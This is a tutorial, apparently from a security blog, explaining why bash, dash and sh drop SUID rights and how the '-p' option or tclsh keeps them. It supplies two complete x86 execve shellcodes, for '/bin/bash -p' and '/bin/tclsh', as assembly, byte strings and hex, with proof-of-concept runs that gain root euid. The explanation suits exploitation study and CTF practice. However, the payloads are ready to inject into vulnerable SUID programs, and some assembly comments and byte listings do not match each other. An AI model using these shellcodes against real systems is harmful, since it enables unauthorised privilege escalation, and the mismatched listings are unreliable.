UNIX Shells dropping SUID rights in shellcodes

Table of contents :

Introduction

Newer versions of UNIX shells no longer transfer SUID rights by default. This can be particularly annoying when creating a shellcode that works well, but opens a shell in which we do not have the correct permissions.

Here is a small example:

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K sept   1 11:56 .
drwxrwxr-x 4 user user 4,0K sept   1 11:56 ..
-rwsrwxrwx 1 root root 127K sept   1 11:56 challenge
-rwxrwxrwx 1 user user 254  sept   1 12:01 shellcode.raw
[user@dev]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
[user@dev]:~$ ./challenge < shellcode.raw
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

In this case the shellcode that we injected into the challenge program did allow opening a shell, but the rights were not transferred when the shell was opened.

We will see why SUID rights are no longer transferred to new versions of shells, and how to force the transfer of these rights.

What’s going on

Most new shells no longer transfer SUID rights by default for security reasons. This does not prevent everything, but complicates the work of an attacker wanting to exploit an application. Let’s see which shells are affected by this behavior. For that I copied all the shells of my machine in a folder:

$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin   7 11:56 .
drwxrwxr-x 4 user user 4,0K juin   7 11:56 ..
-rwxr-xr-x 1 user user 1,2M août  31 22:46 bash
-rwxr-xr-x 1 user user 127K août  31 22:46 dash
-rwxr-xr-x 1 user user 1,2M août  31 22:46 rbash
-rwxr-xr-x 1 user user 127K août  31 22:46 sh
-rwxr-xr-x 1 user user  15K août  31 22:46 tclsh

Then I gave SUID root rights to all these shells:

# chown root:root *; chmod 4777 *
# ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin   7 11:56 .
drwxrwxr-x 4 user user 4,0K juin   7 11:56 ..
-rwsrwxrwx 1 root root 1,2M août  31 22:46 bash
-rwsrwxrwx 1 root root 127K août  31 22:46 dash
-rwsrwxrwx 1 root root 1,2M août  31 22:46 rbash
-rwsrwxrwx 1 root root 127K août  31 22:46 sh
-rwsrwxrwx 1 root root  15K août  31 22:46 tclsh

Then just run them one by one to run the id command and we get these results:

Shell Command result
./bash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./dash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./rbash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./sh -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./tclsh uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

We see here that the only shell that transfers SUID rights is the tclsh shell. This will be useful for us in the following to build a shellcode for this shell.

How to transfer SUID rights

To force the transfer of SUID rights on newer versions of shells it is necessary to specify the option -p:

Shell Command result
./bash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./dash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./rbash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./sh -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./tclsh uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Shellcodes

Here is a shellcode that performs an execve call on /bin/bash -p (taken from exploit-db). It works great for binaries exploitation:

; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
        global    _start
        section   .text
_start:
        mov    al, 0xb     ; syscall number
        xor    edx, edx
        ; Push "-p" argument to force SUID
        push   edx
        push   word 0x702d ; "p-"
        mov    ecx,esp     ; save pointer
        ; Push "/bin/bash"
        push   edx         ;
        push   0x68        ; "hs"
        push   0x7361622f  ; "lct/"
        push   0x6e69622f  ; "nib/"
        mov    ebx,esp     ; save pointer
        ; Passing all arguments
        push   edx         ; char * null
        push   ecx         ; char * args
        push   ebx         ; char * program
        ; Call
        mov    ecx,esp     ; char * args[]
        int    0x80        ; syscall "execve"

Binary format

Here is this shellcode in binary format:

shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

Hexadecimal format

Here is this shellcode in hexadecimal format:

6a0b58995266682d7089e1526a68682f626173682f62696e89e352515389e1cd80

Proof of concept

When we run this shellcode, it makes a call to /bin/bash -p and does transfer SUID rights as expected:

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août  31 22:27 .
drwxrwxr-x 4 user user 4,0K août  31 22:27 ..
-rwsrwxrwx 1 root root 4268 août  31 22:31 shellcode
[user@dev]:~$ ./shellcode
$ /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Creating a shellcode for tclsh

We are going to use the tclsh shell that we saw above

Here is a shellcode that performs an execve call on /bin/tclsh, tclsh transfers SUID rights by default without specific options.

; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
        global    _start
        section   .text
_start:
        mov    al, 0xb     ; syscall number
        xor    edx, edx
        ;
        push   edx         ;
        push   word 0x6873 ; "hs"
        push   0x6c63742f  ; "lct/"
        push   0x6e69622f  ; "nib/"
        mov    ebx,esp     ; save pointer
        ; Passing all arguments
        push   edx         ; char * null
        push   edx         ; char * args
        push   ebx         ; char * program
        ; Call
        mov    ecx,esp     ; char * args[]
        int    0x80        ; syscall "execve"

Binary format

Here is this shellcode in binary format:

shellcode = "\xb0\x0b\x31\xd2\x52\x66\x68\x73\x68\x68\x2f\x74\x63\x6c\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x53\x89\xe1\xcd\x80";

Hexadecimal format

Here is this shellcode in hexadecimal format:

b00b31d25266687368682f74636c682f62696e89e352525389e1cd80

Proof of concept

Let’s try to run the previously created tclsh shellcode:

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août  31 22:27 .
drwxrwxr-x 4 user user 4,0K août  31 22:27 ..
-rwsrwxrwx 1 root root 4268 août  31 22:46 shellcode
[user@dev]:~$ ./shellcode
% /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

We note that the SUID rights are transferred to the shell! Mission accomplished

References